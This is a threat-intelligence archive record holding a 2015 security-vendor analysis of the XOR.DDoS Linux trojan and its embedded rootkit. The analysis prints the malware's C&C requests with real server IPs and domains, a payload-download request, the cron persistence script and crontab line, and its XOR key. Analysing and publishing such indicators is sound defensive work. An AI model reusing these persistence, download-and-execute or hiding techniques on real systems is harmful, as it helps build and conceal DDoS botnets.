{ "id": "208d549d-0123-4e44-8ed4-e59059278ddb", "created_at": "2026-04-06T00:07:08.010025Z", "updated_at": "2026-04-10T13:11:18.002744Z", "deleted_at": null, "sha1_hash": "8c0a1bb3a5bc821fb87aa67dc6d98c5081a886b0", "title": "Linux DDoS Trojan hiding itself with an embedded rootkit", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 344617, "plain_text": "Linux DDoS Trojan hiding itself with an embedded rootkit\r\nBy Threat Intelligence Team 6 Jan 2015\r\nArchived: 2026-04-05 18:40:08 UTC\r\nAll you need to know about the newest Linux threat.\r\nAt the end of September 2014, a new threat for the\r\nLinux operating system dubbed XOR.DDoS forming a botnet for distributed denial-of-service attacks was\r\nreported by the MalwareMustDie! group. The post mentioned the initial intrusion of SSH connection, static\r\nproperties of related Linux executable and encryption methods used. Later, we realized that the installation\r\nprocess is customized to a victim’s Linux environment for the sake of running an additional rootkit component. In\r\nthis blog post, we will describe the installation steps, the rootkit itself, and the communication protocol for getting\r\nattack commands.\r\nInstallation Script \u0026 Infection Vector\r\nThe infection starts by an attempt to brute force SSH login credentials of the root user. If successful, attackers gain\r\naccess to the compromised machine, then install the Trojan usually via a shell script. The script contains\r\nprocedures like main, check, compiler, uncompress, setup, generate, upload, checkbuild, etc. and variables like\r\n__host_32__, __host_64__, __kernel__, __remote__, etc. The main procedure decrypts and selects the C\u0026C\r\nserver based on the architecture of the system.\r\nhttps://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/\r\nPage 1 of 7\n\nIn the requests below, iid parameter is the MD5 hash of the name of the kernel version. The script first lists all the\r\nmodules running on the current system by the command lsmod. Then it takes the last one and extracts its name\r\nand the parameter vermagic. In one of our cases, the testing environment runs under “3.8.0-19-generic\\ SMP\\\r\nmod_unload\\ modversions\\ 686\\ “, which has the MD5 hash equal to CE74BF62ACFE944B2167248DD0674977.\r\nThree GET requests are issued to C\u0026C. The first one is performed by the check procedure (note the original\r\nmisspelling):\r\nrequest:\r\nGET /check?iid=CE74BF62ACFE944B2167248DD0674977\u0026kernel=3.8.0reply:\r\n1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!\r\nThen compiler procedure issues another GET request in which parameters like C\u0026C servers, version info, etc, are\r\npassed to the server where they are compiled into a newly created executable:\r\nrequest:\r\nGET /compiler?iid=CE74BF62ACFE944B2167248DD0674977\u0026username=admin\r\n\u0026password=admin\u0026ip=103.25.9.245:8005%7C103.240.141.50:8005%7C\r\n66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C\r\nndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005\r\n\u0026ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20\r\n\u0026kernel=3.8.0\r\nreply:\r\n1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!\r\nFinally, the third GET request downloads the customized version of the Trojan's binary in the form of a gzip\r\narchive, which is unpacked and executed:\r\nrequest:\r\nGET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz\r\nreply:\r\n1001|CE74BF62ACFE944B2167248DD0674977|create ok\r\nThe previous steps run only in the case that there already is a built version for the current kernel version on the\r\nserver side. If not, the script locates the kernel headers in /lib/modules/%s/build/ directory, where %s means the\r\nreturn value after calling the command uname with parameter r, then packs all files and uploads them to the C\u0026C\r\nserver using a custom uploader called mini. The steps of the first scenario follows.\r\nThe rootkit component is a loadable kernel module (LKM). To install it successfully on a system, the vermagic\r\nvalue of LKM needs to agree with the version of the kernel headers installed on the user's system. That’s the\r\nmotivation behind previous installation steps. If previous sequences fail, the script installs a Trojan omitting the\r\nrootkit component.\r\nStructure \u0026 Persistence\r\nThe binary structure of the main executable is as follows:\r\nhttps://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/\r\nPage 2 of 7\n\nThe persistence of the Trojan is achieved in multiple ways. First, it is installed into the /boot/ directory with a\r\nrandom 10-character string. Then a script with the identical name as the Trojan is created in the /etc/init.d\r\ndirectory. It is together with five symbolic links pointing to the script created in /etc/rc%u.d/S90%s, where %u\r\nruns from 1 to 5 and %s is substitute with the random. Moreover, a script /etc/cron.hourly/cron.sh is added with\r\nthe content:\r\n#!/bin/sh\r\nPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin'\r\nfor i in `cat /proc/net/dev|grep :|awk -F: {',27h,'print $1',27h,'}`; do ifconfig $i up\u0026 done\r\ncp /lib/udev/udev /lib/udev/debug\r\n/lib/udev/debug\r\nThe line “*/3 * * * * root /etc/cron.hourly/cron.sh” is inserted in the crontab.\r\nThe functionality of the main executable lies in three infinite loops responsible for 1. downloading and executing\r\ninstructions in a bot's configuration file, 2. reinstalling itself as the /lib/udev/udev file, and 3. performing flooding\r\ncommands. The configuration file contains four categories of lists: md5, denyip, filename and rmfile and mean\r\nkilling a running process based on its CRC checksum, on the active communication with an IP from the list, on a\r\nfilename, and finally removing a file with a specified name. In the next figure, a fragment of the config file is\r\ndisplayed (known filenames connected with competing flooding Trojans are highlighted):\r\nhttps://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/\r\nPage 3 of 7\n\nThe lists of processes to kill or remove before its own installation is typical for flooding Trojans.\r\nAlso we have to note that there is a variant of this Trojan compiled for the ARM architecture. This suggests that\r\nthe list of potentially infected systems (besides 32-bit and 64-bit Linux web servers and desktops) is extended for\r\nrouters, Internet of Things devices, NAS storages or 32-bit ARM servers (however, it has not been observed in the\r\nwild yet). It contains an additional implementation of the download-and-execute feature in an infinite loop called\r\ndaemondown:\r\nA few days ago, a new 32-bit variant of this Trojan with few modifications was observed. The bot is installed as\r\n/lib/libgcc4.so file, the unique file containing its identification string (see later) was /var/run/udev.pid, the\r\ninitialization script was /etc/cron.hourly/udev.sh and the rootkit features were completely omitted. The presence of\r\nall these files could serve as an indicator of compromise (IoC).\r\nLKM Rootkit\r\nTrojans for the Windows platform have used various rootkit features for a very long time. It is known that some\r\ntrojanized flooding tools had the Windows variant utilizing the Agony rootkit (its source code has been publicly\r\nshared and available since 2006). We presented research related to these malicious DDoS tools at Botconf 2014 in\r\na survey called Chinese Chicken: Multiplatform-DDoS-Botnets. Now there is a flooding Trojan for Linux that\r\nalso contains an embedded rootkit. It’s main functionality is to hide various aspects of the Trojan’s activity and is\r\nprovided by procedures in the switch table:\r\nhttps://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/\r\nPage 4 of 7\n\nThe Trojan running in the userspace requests these features from the rootkit in the kernel by ioctl command with a\r\nspecific code (0x9748712). The presence of the rootkit is first checked by opening a process with the name\r\nrs_dev:\r\nThe own request needs two parameters: One specifies the number of the command to be performed by the rootkit,\r\nand the other one is the number of the port to be hidden. Below is an example of how the Trojan hides the TCP\r\nport (notice the task value 3):\r\nBased on the procedure names, it is likely that the malware authors were inspired by the open source project called\r\nSuterusu to build up their rootkit. The Trojan from last year called Hand of Thief failed in its ambitions to be the\r\nhttps://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/\r\nPage 5 of 7\n\nfirst banking Trojan for Linux desktops. It also borrowed part of its code from an existing open source project,\r\nnamely methods of process injection. The description of the project says “An LKM rootkit targeting Linux 2.6/3.x\r\non x86(_64), and ARM”. Another article related to Suterusu was published in January 2013.\r\nC\u0026C communication\r\nThe communication is encrypted in both directions with the same hard-coded XOR key (BB2FA36AAA9541F0)\r\nas the configuration file. An additional file /var/run/sftp.pid containing an unique magic string of length 32 bytes\r\nis stored and utilized as an unique identifier of a victim’s machine within the communication. There is a list of\r\nC\u0026C commands, for which the bot listens to: To start flooding, to stop flooding, to download-and-execute, to self-update, to send the MD5 hash of its memory, and to get list of processes to kill:\r\nThe list of C\u0026Cs is stored in the shell script in the __remote__ variable. The Trojan first sends information about\r\nthe running system to the C\u0026C server (very likely to be displayed on a panel of a botnet operator). The replies\r\nusually arrived in a form of a command. The header of the command is 0x1C bytes long and is stored within a\r\nstructure called Header. The first command is to stop any flooding attack and the next one to start one with the list\r\nof hosts provided. The entries of the Header are shown below. Highlighted parameters are the size of the total size\r\nof a command (Size, 0x102C), the task number (Order, 0x3, i.e. _cmd_start in the switch table), and the number\r\nof flooding tasks (Task_Num, 0xF):\r\nThe rest of the flooding command contains an encrypted structure with attack tasks. After decryption, we can see\r\nan IP address (red color) and ports (green color) which will be flooded by the Trojan and other parameters of the\r\nhttps://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/\r\nPage 6 of 7\n\nDDoS attack (e.g. grey color decides the type of attack: SYN/DNS).\r\nAcknowledgement\r\nThanks to my colleague Jaromír Hořejší for cooperation on this analysis. Pop-art was created by the independent\r\ndigital artist Veronika Begánová.\r\nSources\r\nHere are the samples connected with the analysis:\r\nSource: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/\r\nhttps://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/\r\nPage 7 of 7", "extraction_quality": 1, "language": "EN", "sources": [ "MITRE", "Malpedia" ], "origins": [ "web" ], "references": [ "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/" ], "report_names": [ "linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit" ], "threat_actors": [ { "id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2", "created_at": "2022-10-25T16:07:24.471018Z", "updated_at": "2026-04-10T02:00:05.002374Z", "deleted_at": null, "main_name": "Cron", "aliases": [], "source_name": "ETDA:Cron", "tools": [ "Catelites", "Catelites Bot", "CronBot", "TinyZBot" ], "source_id": "ETDA", "reports": null } ], "ts_created_at": 1775434028, "ts_updated_at": 1775826678, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/8c0a1bb3a5bc821fb87aa67dc6d98c5081a886b0.pdf", "text": "https://archive.orkl.eu/8c0a1bb3a5bc821fb87aa67dc6d98c5081a886b0.txt", "img": "https://archive.orkl.eu/8c0a1bb3a5bc821fb87aa67dc6d98c5081a886b0.jpg" } }